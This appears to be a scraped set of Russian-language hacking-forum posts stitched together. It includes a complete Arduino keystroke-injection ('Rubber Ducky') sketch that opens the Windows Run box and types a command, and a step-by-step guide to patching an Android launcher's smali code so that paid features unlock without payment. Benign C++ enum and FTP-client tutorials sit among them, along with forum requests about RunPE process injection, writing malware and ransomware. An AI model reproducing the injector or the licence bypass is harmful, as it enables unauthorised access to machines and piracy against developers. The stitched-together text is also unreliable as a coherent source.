content%2Fuploads%2F2012%2F10%2F%25D0%25A3%25D0%25B4%25D0%25B0%25D0%25BB%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5-%25D1%2580%25D0%25B5%25D0%25BA%25D0%25BB%25D0%25B0%25D0%25BC%25D1%258B-%25D0%25B8%25D0%25B7-%25D0%25BF%25D1%2580%25D0%25B8%25D0%25BB%25D0%25BE%25D0%25B6%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B9-11.jpg&hash=10d08b677b2d5fe3f74a4068d9897fb1)
Сохраняем её, перезаписывая оригинал, и запаковываем APK-приложение.
-----------------------
Вторая часть "Делаем платное - бесплатным" - /threads/57304/.
Источник -https://fans-android.com/udalenie-reklamy-iz-prilozhenij
Помогите скачать книгу
Привет-привет, охото поделиться своей наработкой по такой теме как usb rubby duck. Для начала с теории.
Сам концепт атаки USB Rubby Duck заключается в эмулировании клавиатуры, в
интернете есть куча простеньких PoC'ов
реверс шелл, обход уак (не путать с lpe), и тп. Я вам хочу представить в
некотором смысле доработанную идею.
Мой код подерживает: любые раскладки клавиатуры, даже если на целевой машине
нет английской раскладки, автоматическое включение NUMLOCK,
и вообще кодес прикольный вышел.
Полный код будет в конце статьи, а сейчас разберём его части.
При подключении нашей 'клавиатуры' к системе, последняя передаёт ей информацию
о состоянии CapsLock, ScrollLock, NumLock, нам нужен последний,
мы проверяем включён ли он, и если нет, то посылаем сигнал о ключении, нам он
понадобится дальше
C:Copy to clipboard
if (!(BootKeyboard.getLeds() & LED_NUM_LOCK)) BootKeyboard.write(KEY_NUM_LOCK);
delay(1500);
Тут по стандарту, открываем Run меню
C:Copy to clipboard
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(2500);
Keyboard.write(KEY_BACKSPACE);
delay(500);
Последняя часть кода отвечает за ввод символов используя Alt+(ASCII код), там
всё просто, получаем ascii код символа, раскладываем его на
составные числа, и так как мы получили их в обратном порядке, то и вводим в
обратном, получается реверснули реверснутое)
C:Copy to clipboard
do {
int symbol = *command++;
while(symbol) {
_symbols[_count++] = symbol % 10;
symbol /= 10;
}
Keyboard.press(KEY_LEFT_ALT);
delay(15);
while(_count-- > 0){
write_numpad_digit(_symbols[_count]);
delay(5);
}
Keyboard.release(KEY_LEFT_ALT);
delay(5);
Keyboard.releaseAll();
_count = 0;
delay(5);
} while(*command != 0);
Весь код, для компиляции нужна плата Arduino Pro Micro, рублей 200 стоит, и Arduino IDE, в ide не забываем установить библиотеку HID
C:Copy to clipboard
#include "HID-Project.h"
#define PAYLOAD "cmd.exe /c echo pwned & pause"
void write_numpad_digit(int num){
switch (num) {
case 0: Keyboard.write(KEYPAD_0); break;
case 1: Keyboard.write(KEYPAD_1); break;
case 2: Keyboard.write(KEYPAD_2); break;
case 3: Keyboard.write(KEYPAD_3); break;
case 4: Keyboard.write(KEYPAD_4); break;
case 5: Keyboard.write(KEYPAD_5); break;
case 6: Keyboard.write(KEYPAD_6); break;
case 7: Keyboard.write(KEYPAD_7); break;
case 8: Keyboard.write(KEYPAD_8); break;
case 9: Keyboard.write(KEYPAD_9); break;
}
}
void setup() {
char* command = PAYLOAD;
BootKeyboard.begin();
delay(1300);
if (!(BootKeyboard.getLeds() & LED_NUM_LOCK)) BootKeyboard.write(KEY_NUM_LOCK); //enable numlock button
delay(1500);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(2500);
Keyboard.write(KEY_BACKSPACE);
delay(500);
int _count = 0;
int _symbols[5];
do {
int symbol = *command++;
while(symbol) {
_symbols[_count++] = symbol % 10;
symbol /= 10;
}
Keyboard.press(KEY_LEFT_ALT);
delay(15);
while(_count-- > 0){
write_numpad_digit(_symbols[_count]);
delay(5);
}
Keyboard.release(KEY_LEFT_ALT);
delay(5);
Keyboard.releaseAll();
_count = 0;
delay(5);
} while(*command != 0);
delay(50);
Keyboard.write(KEY_RETURN);
}
void loop() {
return;
}
Первая часть "Вырезаем рекламу" тут - /threads/57303/.
**-----------------------
Открываем платный функционал приложения**
Для выполнения описанных в статье действий понадобится ряд инструментов, и главный инструмент — это Linux. Да, многие из названных далее программ могут работать и в Windows, но в любых операциях, связанных с Android и его приложениями, лучше не полагаться на детище Билли. В Linux практически все сделать проще, командная строка здесь в разы удобнее (она нам ох как понадобится), а некоторые инструменты просто недоступны для других ОС.
После установки Linux в виртуалку или второй системой сразу устанавливаем средства разработки на Java и виртуальную машину. В Ubuntu это можно сделать с помощью одной команды:
Code:Copy to clipboard
sudo apt-get install openjdk-7-jdk
Также нам нужны четыре инструмента для распаковки и декомпиляции приложений:
- ApkTool — швейцарский армейский
нож для распаковки и запаковки приложений
- Jadx — декомпилятор байт-кода Dalvik в
код на Java
- Backsmali — дизассемблер кода Dalvik
- Sign — утилита для подписи пакетов
Для удобства создадим в домашнем каталоге подкаталог Android и скачаем эти инструменты в него:
Code:Copy to clipboard
cd ~
mkdir ~/Android && cd ~/Android
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.2.0.jar
wget https://github.com/skylot/jadx/releases/download/v0.6.0/jadx-0.6.0.zip
wget https://github.com/appium/sign/raw/master/dist/sign.jar
wget https://bitbucket.org/JesusFreke/smali/downloads/baksmali-2.1.3.jar
mkdir jadx && cd jadx
unzip ../jadx-0.6.0.zip
Добавим в конец файла ~/.bashrc следующие строки:
Code:Copy to clipboard
alias apktool='java -jar ~/Android/apktool_2.2.0.jar'
alias jadx-gui='~/Android/jadx/bin/jadx-gui'
alias baksmali='java -jar ~/Android/baksmali-2.1.3.jar'
alias sign='java -jar ~/Android/sign.jar'
alias javac='javac -classpath /home/j1m/Android/android-sdk-linux/platforms/android-23/android.jar'
alias dx='/home/j1m/Android/android-sdk-linux/build-tools/23.0.3/dx'
Они нужны для того, чтобы вместо длинных и неудобных команд вроде java -jar ~/Android/sign.jar можно было набрать просто sign.
2. Вскрываем подопытного
Теперь нам нужно найти приложение, которое, во-первых, нетрудно расковырять, а во-вторых, которое несет какую-то пользу и достаточно известно. То есть брать простейшую софтину только для того, чтобы было не очень сложно разобраться в ее коде, мы не будем, а вместо этого устремим свой взор на топ Play Store. Практически идеальный кандидат на эту роль - ASAP Launcher, удобнейший домашний экран с массой полезных и неординарных функций.
Для начала пройдемся по APK без использования специальных инструментов. Для этого скачаем пакет при помощи сервиса APKPure или Evozi: копируем URL, вставляем в строку поиска на APKPure или Evozi и скачиваем.
Для удобства переименуем пакет в asap.apk:
Code:Copy to clipboard
cd ~/Downloads
mv ASAP\ Launcher_v1.16_apkpure.com.apk asap.apk
Разархивируем с помощью unzip:
Code:Copy to clipboard
mkdir asap; cd asap
unzip asap.apk
Да, APK — это обычный архив ZIP, но тем не менее он имеет четкую структуру:
Также пакет может содержать другие каталоги, например assets (любые файлы, включенные разработчиком, в данном случае — шрифты и база данных) и lib (нативные библиотеки, созданные с использованием Android NDK).
3. Изучаем код
Чтобы разобраться в работе приложения, необходимо декомпилировать файл classes.dex.
Для этого мы воспользуемся jadx-gui. Запускаем, выбираем asap.apk и видим
слева список пакетов Java, включенных в APK. В данном случае это пакеты
android.support — официальная библиотека Google, реализующая поддержку функций
новых версий Android в старых (например, чтобы получить Material Design в
Android 4.1), com.google.android.gms — Google Mobile Services,
com.nispok.snakbar — реализация GUI-элемента snakbar, а также несколько
других.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2016%2F09%2F1473756856_e558_pkgs.png&hash=83aba800e80d6d10de3721cf0a476e6b)
Основной код приложения содержится в пакете com.citc.asap , именно такое
имя носит и само приложение в Google Store и на устройстве. Открываем его и
видим больше десятка каталогов и множество исходников Java. Наша задача —
сделать приложение «оплаченным», не платя за него. Но как найти нужный файл,
реализующий проверку на оплату? Скорее всего, он будет содержать в имени слово
billing. Пробегаемся по исходникам в поисках нужного нам файла и натыкаемся на
исходник BaseBillingFragment в подкаталоге (пакете) fragments:
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2016%2F09%2F1473756865_ebd7_basebillingfragment.png&hash=59f3ee821bf610770c30405e783fd79f)
Это очень простой класс Java, в котором есть интересный метод:
Java:Copy to clipboard
protected boolean hasPrime() {
return this.mHasPrime;
}
Все, что он делает — просто возвращает значение поля mHasPrime, однако
интересен он не этим, а своим именем. Дело в том, что платная (точнее,
оплаченная) версия ASAP называется Prime, и очевидно, что метод hasPrime как
раз и нужен для проверки оплаты приложения. Чтобы подтвердить свою догадку,
сохраним декомпилированные исходники (File -> Save all) в каталог и попробуем
найти в них вызовы hasPrime():
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2016%2F09%2F1473756880_db64_find-
hasprime.png&hash=38420c0cbcb401b1b929d63fe69bc6a5)
Совпадений немного, основной «пользователь» hasPrime() — это SettingsFragment, то есть исходник, отвечающий за формирование окна настроек. Учитывая, что Prime-версия отличается от бесплатной именно тем, что в ней разблокированы дополнительные поля настроек, уже сейчас мы можем быть на 90% уверены, что hasPrime() — нужный нам метод. Скорее всего, именно с его помощью приложение выясняет, куплена ли Prime-версия. Осталось только убедиться в этом окончательно, подменив код метода на свой.
4. Вносим правки
Метод hasPrime() очень прост: он возвращает значение поля mHasPrime, которое имеет тип boolean. Нетрудно предположить, что в случае, если приложение оплачено, hasPrime() вернет true, иначе вернет false. Наша задача — сделать так, чтобы метод всегда возвращал true и остальная часть приложения думала, что приложение оплачено, и разблокировала дополнительные опции в окне настроек.
К сожалению, сделать это с помощью прямой правки исходного кода не получится: приложение нельзя скомпилировать обратно. Однако никто не запрещает дизассемблировать код, внести правки и собрать его вновь. И как раз здесь нам понадобится apktool. Дизассемблируем APK:
Code:Copy to clipboard
apktool d -r asap.apk
В текущем каталоге появится подкаталог asap. Открываем файл asap/smali/com/citc/asap/fragments/BaseBillingFragment.smali и находим hasPrime(). Декларация метода будет выглядеть так:
Code:Copy to clipboard
.method protected hasPrime()Z
.locals 1
.prologue
.line 167
iget-boolean v0, p0, Lcom/citc/asap/fragments/BaseBillingFragment;->mHasPrime:Z
return v0
.end method
Это и есть дизассемблированный листинг, и, как ты видишь, он на порядок проще, чем дизассемблированный код нативных приложений. В целом здесь все тривиально:
Теперь мы должны изменить данный метод так, чтобы он возвращал true независимо от значения поля mHasPrime. Мы могли бы сделать это вручную, но проще написать новый метод на Java:
Java:Copy to clipboard
public class Test {
public boolean hasPrime() {
return true;
}
}
И пропустить его через компилятор и дизассемблер:
Code:Copy to clipboard
javac Test.java
dx --dex --output=Test.dex Test.class
baksmali Test.dex
На выходе получаем следующий ассемблерный код:
Code:Copy to clipboard
.method protected hasPrime()Z
.registers 1
const v0, 1
return v0
.end method
Ты уже должен сам догадаться, что он объявляет константу v0 со значением 1 и возвращает ее (в Dalvik тип boolean — это int, который может иметь значение 1 — true или 0 — false). Осталось только вставить этот код вместо оригинального и собрать пакет обратно:
Code:Copy to clipboard
apktool b asap
Пакет появится в каталоге asap/dist. Переименуем его, чтобы не запутаться:
Code:Copy to clipboard
mv asap/dist/asap.apk asap-fake-hasPrime.apk
И подпишем с помощью тестового ключа:
Code:Copy to clipboard
sign asap-fake-hasPrime.apk
В результате в текущем каталоге появится файл asap-fake-hasPrime.s.apk.
Остается только закинуть его на карту памяти и установить, удалив перед этим
оригинальное приложение.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2016%2F09%2F1473757041_d5e6_asap-
before.png&hash=d1fc8ba378ac36d9a1c638b32fb35b5d)
_Настройки ASAP Launcher до модификаци
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2016%2F09%2F1473757062_0f23_asap-
after.png&hash=afee38d4aa79475f8d1d48743a175eae)
...и после_
Взломать приложение для Android очень и очень просто. Да, я не спорю, нам попался удобный и простой пример для модификации, но опять же повторюсь — это весьма популярное приложение, о котором рассказывали на большинстве сайтов, посвященных Android.
Большинство других приложений вскрыть так же просто, однако есть достаточное
количество экземпляров, пропущенных через обфускаторы и различные системы
защиты
-----------------------
Пожалуй одна из старых и геморойных проблем, которая сваливалась на головы С++ кодеров, это как вывести на печать значения типа «Перечисления». Звучит возможно слишком утрирующее, но все же, многие С++ могли иметь с этим дело, в том или ином контексте проблемы\таски\проекта.
Забегая на перед, дать точного ответа на этот вопрос у нас тоже не выйдет. Как и всегда, слишком много факторов, ограничений, потребностей от которых зависит успех этих методов. Даже ваш Трижды любимый компилятор и тот повинен в этом)
Данная статья носит ознакомительный характер, и может походить как один из способов достижения цели, которая будет перед вами стоять при работе с перечислениями и строками.
Библиотека Magic Enum
Magic Enum - это библиотека-заголовков, которая предоставляет статическую рефлексию перечислениям.
Вы можете преобразовывать «из» и «в» строки, и вы можете перебирать значения перечисления. Она добавляет функцию «enum_cast».
Минуса:
Использование специальной функции с исключением
Статическая версия
Constexpr – толковый инструменты, который позволяет определять статические вещи. Когда его используют в качестве возвращающего значения функции, он предоставляет нам сразу «опробовать» возвращаемое значения сразу в режиме компиляции.
В этом коде я сразу заюзал исключение по дефолту.
C++:Copy to clipboard
#include <iostream>
enum class Name { Alex, Dima, Sergey, Ivan, Oleg, Valik, Valentin, Masha, Nastya, Pavel };
constexpr const char* EsperToString(Name error) throw()
{
switch (error)
{
case Name::Alex: return "Алексей";
case Name::Dima: return "Дима";
case Name::Sergey: return "Сергей";
case Name::Ivan: return "Иван";
case Name::Oleg: return "Олег";
case Name::Valik: return "Валик";
case Name::Valentin: return "Валентин";
case Name::Masha: return "Маша";
case Name::Nastya: return "Настя";
case Name::Pavel: return "Павел";
default: throw std::invalid_argument("Неверный аргумент");
}
}
int main()
{
setlocale(LC_ALL, "Russian");
std::cout << EsperToString(Name::Dima) << std::endl;
return 0;
}
Динамическая версия
Дело в том, что несколько возвратов в функции constexpr – это стандарт C ++ 14. До C ++ 14 вы можете удалить спецификатор constexpr, чтобы написать динамическую версию этой функции.
C++:Copy to clipboard
#include <iostream>
enum class Name { Alex, Dima, Sergey, Ivan, Oleg, Valik, Valentin, Masha, Nastya, Pavel };
const char* EsperToString(Name error) throw()
{
switch (error)
{
case Name::Alex: return "Алексей";
case Name::Dima: return "Дима";
case Name::Sergey: return "Сергей";
case Name::Ivan: return "Иван";
case Name::Oleg: return "Олег";
case Name::Valik: return "Валик";
case Name::Valentin: return "Валентин";
case Name::Masha: return "Маша";
case Name::Nastya: return "Настя";
case Name::Pavel: return "Павел";
default: throw std::invalid_argument("Неверный аргумент");
}
}
int main()
{
setlocale(LC_ALL, "Russian");
std::cout << EsperToString(Name::Dima) << std::endl;
return 0;
}
ОФТОП: До C ++ 11 можно было удалить спецификатор класса enum и вместо этого использовать простое перечисление.
Минуса:
Использование специальной «функции-защиты» от исключений
Статическая версия
Порой мы выбираем код, который не рябит в глазах, и приятно читабельный. Лишние пробрасывания и прочие throw могут излишне усложнить читабельность. Вы можете написать безопасную для исключений функцию по «умолчанию» case.
Только теперь нужно следить за «error», когда нужно добавить элемент.
C++:Copy to clipboard
#include <iostream>
enum class Name { Alex, Dima, Sergey, Ivan, Oleg, Valik, Valentin, Masha, Nastya, Pavel };
constexpr char* EsperToString(Name error) noexcept
{
switch (error)
{
case Name::Alex: return "Алексей";
case Name::Dima: return "Дима";
case Name::Sergey: return "Сергей";
case Name::Ivan: return "Иван";
case Name::Oleg: return "Олег";
case Name::Valik: return "Валик";
case Name::Valentin: return "Валентин";
case Name::Masha: return "Маша";
case Name::Nastya: return "Настя";
case Name::Pavel: return "Павел";
}
}
int main()
{
setlocale(LC_ALL, "Russian");
std::cout << EsperToString(Name::Dima) << std::endl;
return 0;
}
Динамическая версия
Опять же, динамическая версия без constexpr:
C++:Copy to clipboard
#include <iostream>
enum class Name { Alex, Dima, Sergey, Ivan, Oleg, Valik, Valentin, Masha, Nastya, Pavel };
char* EsperToString(Name error) noexcept
{
switch (error)
{
case Name::Alex: return "Алексей";
case Name::Dima: return "Дима";
case Name::Sergey: return "Сергей";
case Name::Ivan: return "Иван";
case Name::Oleg: return "Олег";
case Name::Valik: return "Валик";
case Name::Valentin: return "Валентин";
case Name::Masha: return "Маша";
case Name::Nastya: return "Настя";
case Name::Pavel: return "Павел";
}
}
int main()
{
setlocale(LC_ALL, "Russian");
std::cout << EsperToString(Name::Dima) << std::endl;
return 0;
}
ОФТОП: До C ++ 11 можно было удалить спецификатор класса enum и вместо этого использовать простое перечисление.
Минуса:
Использование макросов
Макросы могут делать многое, чего не может делать динамический код. Вот две реализации с использованием макросов.
Статическая версия
C++:Copy to clipboard
#include <iostream>
#define ENUM_MACRO(Name, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10)\
enum class Name { v1, v2, v3, v4, v5, v6, v7, v8, v9, v10 };\
const char *Name##Strings[] = { #v1, #v2, #v3, #v4, #v5, #v6, #v7, #v8, #v9, #v10};\
template<typename T>\
constexpr const char *Name##ToString(T value) { return Name##Strings[static_cast<int>(value)]; }
ENUM_MACRO(Name, Alex, Dima, Valik, Oleg, Sveta, Sergey, Valentin, Misha, Yura, Ivan);
int main()
{
setlocale(LC_ALL, "Russian");
std::cout << EsperToString(Name::Alex) << std::endl;
return 0;
}
Динамическая версия
Очень похоже на статический, но если вам это нужно в версии до C ++ 11, вам придется избавиться от спецификатора constexpr. Кроме того, поскольку это версия до C ++ 11, у вас не может быть класса enum, вместо этого вам придется использовать простое перечисление.
C++:Copy to clipboard
#include <iostream>
#define ENUM_MACRO(Name, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10)\
enum Name { v1, v2, v3, v4, v5, v6, v7, v8, v9, v10 };\
const char *Name##Strings[] = { #v1, #v2, #v3, #v4, #v5, #v6, #v7, #v8, #v9, #v10};\
const char *Name##ToString(int value) { return Name##Strings[value]; }
ENUM_MACRO(Name, Alex, Dima, Valik, Oleg, Sveta, Sergey, Valentin, Misha, Yura, Ivan);
int main()
{
setlocale(LC_ALL, "Russian");
std::cout << EsperToString(Name::Alex) << std::endl;
return 0;
}
Минуса:
Использование макросов и Boost
Мы можем обойти недостаток «фиксированного количества элементов перечисления» предыдущей версии с помощью Boost.
C++:Copy to clipboard
#include <iostream>
#include <boost/preprocessor.hpp>
#define PROCESS_ONE_ELEMENT(r, unused, idx, elem) \
BOOST_PP_COMMA_IF(idx) BOOST_PP_STRINGIZE(elem)
#define NAME_MACROS(Name, ...)\
enum class Name { __VA_ARGS__ };\
const char *Name##Strings[] = { BOOST_PP_SEQ_FOR_EACH_I(PROCESS_ONE_ELEMENT, %%, BOOST_PP_VARIADIC_TO_SEQ(__VA_ARGS__)) };\
template<typename T>\
constexpr const char *Name##ToString(T value) { return Name##Strings[static_cast<int>(value)]; }
NAME_MACROS(Name, Alex, DIma, Yura, Kostik, Kolya, Sergey, Oleg, Masha, Natali , Ivan);
int main()
{
setlocale(LC_ALL, "Russian");
std::cout << EsperToString(Name::Alex) << std::endl;
return 0;
}
Здесь PROCESS_ONE_ELEMENT «преобразует» элемент в его строковую версию (вызывая BOOST_PP_STRINGIZE), а BOOST_PP_SEQ_FOR_EACH_I выполняет итерацию по каждому элементу VA_ARGS (который является пакетом параметров всего макроса).
Динамическая версия
Опять же, это очень похожая версия статической, но без constexpr или других спецификаторов C ++ 11.
C++:Copy to clipboard
#include <iostream>
#include <boost/preprocessor.hpp>
#define PROCESS_ONE_ELEMENT(r, unused, idx, elem) \
BOOST_PP_COMMA_IF(idx) BOOST_PP_STRINGIZE(elem)
#define NAME_MACROS(Name, ...)\
enum Name { __VA_ARGS__ };\
const char *Name##Strings[] = { BOOST_PP_SEQ_FOR_EACH_I(PROCESS_ONE_ELEMENT, %%, BOOST_PP_VARIADIC_TO_SEQ(__VA_ARGS__)) };\
const char *name##ToString(int value) { return name##Strings[value]; }
NAME_MACROS(Name, Alex, DIma, Yura, Kostik, Kolya, Sergey, Oleg, Masha, Natali , Ivan);
int main()
{
setlocale(LC_ALL, "Russian");
std::cout << EsperToString(Name::Alex) << std::endl;
return 0;
}
Минуса:
Офтоп: Хотя библиотека Boost по-прежнему является левой библиотекой, она более приемлема и принята сообществом с++ кодеров по всему миру, чем другие библиотеки (например, ноунейм библиотека «Magic Enum» немного дичная), поэтому (среди прочего) эта версия может быть предпочтительнее первой.
Выбирайте умно и под свои нужды, ведь как я говорил, здесь много факторов и «подводных камней». Спасибо за внимание.
Перед тем как погрузимся в пучины сетевых app, сперва надо обозначить пару вещей:
Весь код будет разбит по кускам в виде функций и подробным описанием каждой
части кода. Собрать и скомпилить уже сможете и сами.
И так, FTP клиент юзает сразу два сокета ( один для конекта данных, другой для
управления этим конектом). С помощью управляющей части передаются команды
серверу и считываются ответы, а по коннекту мы просто передаем данные, файлы,
списки файлов и много чего другого.
Как всегда, для старта мы начнем подключать препроцесорные файлы заголовков. Да сразу обозначимся, мы будем пилить его под Windows.
Header-files
C++:Copy to clipboard
#include <winsock2.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <iostream>
#include <string.h>
Кроме них, нам надо залезть в VS и в свойствах проекта - настройка компоновщика подключить еще : Ws2_32.lib and Wsock32.lib
Следующий уровень, мы устанавливаем управляющее соединение. Чтобы это сделать, мы запилим функцию init_Sock(). Конект будем воплозать по localhost ftp (127.0.0.1) на порт 21 (стандартный).
Функция init_Sock()
C++:Copy to clipboard
int init_Sock()
{
int len;
sockaddr_in address;
int result;
int s;
s = socket(AF_INET, SOCK_STREAM,0); //создаем сокет
address.sin_family = AF_INET; //интернет домен; здесь же описываем все семейство сокета
address.sin_addr.s_addr = inet_addr("127.0.0.1"); //соединяемся с 127-0-0-1
address.sin_port = htons(21); // 21 порт для конекта
len = sizeof(address); // получаем размер
result = connect(s, (sockaddr *)&address, len); //установка соединения
if (result == -1)
{
сerr("Увы: клиент офф");
return -1;
}
return s; // все гуд, возвращем готовый и чистый сокет
}
Ура, мы установили управляющий конект с серваком. Сейчас надо будет получить и считать ответ сервера. И в этом нам поможет функция select(), которая будет чекать наличие валидных данных в потоке: А вот функция recv() - будет ждать получение данных из потока!
Функция readServerResponse()
C++:Copy to clipboard
int readServerResponse(int s) // передаем сокет
{
int rc;
fd_set fdr;
FD_ZERO(&fdr);
FD_SET(s,&fdr);
timeval timeout; // запилим структуру времени
timeout.tv_sec = 2; // и зададим зна. 2 сек, к примеру
timeout.tv_usec = 0;
do {
char buff[512] ={' '}; // размер буффера 512
recv(s,&buff,512,0); //получаем данные из потока
cout << buff;
rc = select(s+1,&fdr,NULL,NULL,&timeout); //ждём данные для чтения в потоке 2 сек.
} while(rc); //проверяем результат на валид
return 2;
}
В данный момент наш клиент может посылать команды и считывать ответ. Вот к примеру в main мы можете задать такой алгоритм:
Функция tempMain:
C++:Copy to clipboard
int main()
{
int mySocket;
mySocket = init_sock(); // сделали сокет
readServerResponse(mySocket); // передали его в нашу функцию и получили ответ
close(mySocket); //закрыли соединения по правилам этика
return 0;
}
Ну чем я не программист, просите вы после этого.
Но нам мало, мы хотим больше и лучше. Так давайте запилим к созданию данных
для соединения. Для этого мы реализуем функцию init_Data_Connect():
Функция init_Data_Connect:
C++:Copy to clipboard
int init_Data_Connect()
{
send(s,"PASV\r\n",strlen("PASV\r\n"),0);
char buff[128]; // пилим буфер для приема
recv(s,buff,128,0); // отправляем
cout << buff; //выводим на экран полученную от сервера строку
int a,b;
char *tmp_char; // обязательно указатель
tmp_char = strtok(buff,"(");
tmp_char = strtok(NULL,"(");
tmp_char = strtok(tmp_char, ")");
int c,d,e,f;
sscanf(tmp_char, "%d,%d,%d,%d,%d,%d",&c,&d,&e,&f,&a,&b);
int len;
sockaddr_in address;
int result;
int port = a*256 + b;
ds = socket(AF_INET, SOCK_STREAM,0);
address.sin_family = AF_INET;
address.sin_addr.s_addr = inet_addr(addr); //addr - глобальная переменная с адресом сервера
address.sin_port = htons(port);
len = sizeof(address);
result = connect(ds, (sockaddr *)&address, len);
if (result == -1) {
сerr("oops: client");
return -1;
}
return 0;
}
Тут можно более детально остановиться на этой функции. Первее всего, она
отправляет запрос на пассивный коннект данныхю То есть, Это один такой
интересный вид соединения, когда мы создаем сокет на указанный сервером хост и
порт. После этого запроса мы получаем от сервера ответ - строку, в которой
имеется адрес и порт и сразу же выводим на экран.
Чтобы не быть привязанными к серверу, раздробим строку оставит только
выражение в скобках. Будем использовать для этого фу-ю strtok().
Разобрав строку, мы считываем с неё переменные адреса и порта в int значения с
помощью sscanf(). Потом вычисляем порт который нам надо, а это a*256+b. После
аналогично только в управляющем соединении. Поправка только одна, в том что
переме. addr мы используем как глобальную..
Теперь настало время сделать систему логированния для отправки файлов на
сервер. После иниц. коннекта отправи request на логин. Вот алгоримт:
Функция loginOnServer():
C++:Copy to clipboard
int loginOnServer()
{
cout << "Введите имя: ";
char name[128];
cin >> name;
char str[512];
sprintf(str,"USER %s\r\n",name);
send(s,str,strlen(str),0);
readServerResponse();
cout << "Введите пароль: ";
char pass[64];
cin >> pass;
sprintf(str,"PASS %s\r\n",pass);
send(s,str,strlen(str),0);
readServerResponse();
return 0;
}
Здесь все и так ясно, мы делаем строку с именем, отправлем её на сервер, считываем ответ. Тоже самое проделываем с паролем. После удачного логированния на сервере мы можем отправить запрос на скачку файлов:
Функция get_File_Server():
C++:Copy to clipboard
int get_File_Server(char *file)
{
char str[512];
sprintf(str,"RETR %s\r\n",file);
send(s,str,strlen(str),0);
/* получаем размер файла */
char size[512];
recv(s,size,512,0);
cout << size;
char *tmp_size;
tmp_size = strtok(size,"(");
tmp_size = strtok(NULL,"(");
tmp_size = strtok(tmp_size, ")");
tmp_size = strtok(tmp_size, " ");
int file_size;
sscanf(tmp_size,"%d",&file_size);
FILE *newFile;
newFile = fopen(file, "wb"); //важно чтобы файл писался в бинарном режиме
int read = 0; //изначально прочитано 0 байт
do
{
char buff[2048]; //буфе для данных
int readed = recv(ds,buff,sizeof(buff),0); //считываем данные с сервера. из сокета данных
fwrite(buff,1,readed,f); //записываем считанные данные в файл
read += readed; //увеличиваем количество скачанных данных
} while (read < file_size);
fclose(newFile);
cout << "Готово. Ожидание ответа сервера...\n";
return 0;
}
Здесь мы получаем в параметры имя файла для загрузки, передаём запрос на его закачку, а уже после ответа при помощи фук-и strtok() размер файла и пока while() крутится грузим весь файл по 2048 байт. Вот собственно на этом все, try catch и прочие выпады сможете настроить сами)
Привет форум, хотел спросить, насколько перспективно начинать серьезно кодить на сишарпе? До этого имелся минимальный опыт на плюсах и пайтоне, но насколько успел почитать, первые не очень востребованные (ну лично я встречал только такое мнение, может быть ошибочным), а на змее мне вообще не нравилось писать. Посмотрел на то, что из себя представляет с#, и лично для меня он привлекательный. Но хочется услышать мнение куда более опытных людей - браться за него основательно или нет?
Чему вы научитесь
Требования
Описание
C# стабильно входит в ТОП-10 наиболее популярных языков программирования.
Если вы хотите начать программировать и выбираете язык с которого начать
обучение, то C# это один из лучших вариантов. C# это один из наиболее
сбалансированных языков с точки зрения типизации, не говоря уже о лаконичности
синтаксиса и отсутствия тяжёлого наследственного багажа как в случае С++. Ещё
несколько лет назад споры о том какой язык лучше C# или Java являлись
холиварными по своей сути, но на 2019 год таких споров становится всё меньше,
ибо C# стал кросс-платформенным, сильно продвинулся в возможностях по
достижению высокого уровня производительности, а по типизации и синтаксическим
фичам давно уделал Java. Так что если вы выбираете между Java и C#... ну вы
поняли.
Короче говоря, если вы только начинаете своё путешествие в мир
программирования, C# станет отличным выбором в качестве вашего первого языка
программирования. Популярность C# объясняется не только тем, что его легко
изучать, но и реальными преимуществами языка в смысле его профессионального
применения для решения сложных проблем автоматизации. C# - кросс-платформенный
язык и написанные на нём программы работают под Windows, Linux, Mac OS.
Обладает кратким и элегантным синтаксисом. Огромное количество уже готовых
библиотек даёт возможность не изобретать велосипеды на каждом шагу.
Этот курс покрывает все основные возможности C# и даёт рекомендации по
написанию грамотного, "чистого" кода.
Данный курс покрывает следующие темы:
Для кого этот курс:
Продажник:
[https://href.li/?htt...e=&locale=ru_RU](https://href.li/?https://www.udemy.com/course/csharp-
ru/?persist_locale=&locale=ru_RU&0644d54f)
Делал gui только на python (qt), в Си использовал всегда консоль.
QT на Си вроде бы как нет, а на winapi очень муторно.
Я слышал про другие варианты, но не знаю что выбрать.
Заранее спасибо!
Пишу, значит, я RunPE шеллкод, тестирую на примерах к FASM - всё ок - запускает экзешник от имени другого процесса. Но вот попадается мне простой блокнот (х86) и мой RunPE уже не в состоянии его запустить. А дело в том, что блокнот имеет ImageBase=0x01000000 и не имеет релоков. В то же время в чужом процессе, от имени которого я пытаюсь запустить блокнот с помощью инжекта, эта область памяти помечена как RESERVED и MEM_MAPPED. Значит мне надо как-то закрыть этот MAP файл в чужом процессе, но как?
Всем привет, работаю в visual studio 2013. Проблему решил пока что изменив ключи во вкладке code generation, runtime library(/MD изменил на /MT), но теперь скомпилированный exe весит не 7 кб, а 70 кб. Можно ли проблему исправить по другому, что бы вес файла почти не менялся?
Всем привет, хотел бы попросить совета у знающих людей. Уже довольно продолжительное время учу Си - яп нравится, все хорошо идет(также есть опыт работы с java,git-ом,travis,heroku, maven). Хочу применить знания в какой- нибудь сфере, вот только не знаю куда. Хотелось бы развиваться в направлении написании малвари, читал статью Quake3 про винАпи, но не знаю осилю ли. Слишком муторно, нормальных учебников мало и им по 20 лет(тестил коды из статьи, уже не работают). Так вот, хотелось бы, конечно, работать с Сишкой,т.к. на нее убил много времени. Если кому-нибудь нужен будет Сишник, пишите. Готов делать все бесплатно, ради опыта и "набивания руки".
Приветствую всех
Есть ли у кого нибудь c# формы для ransomware?
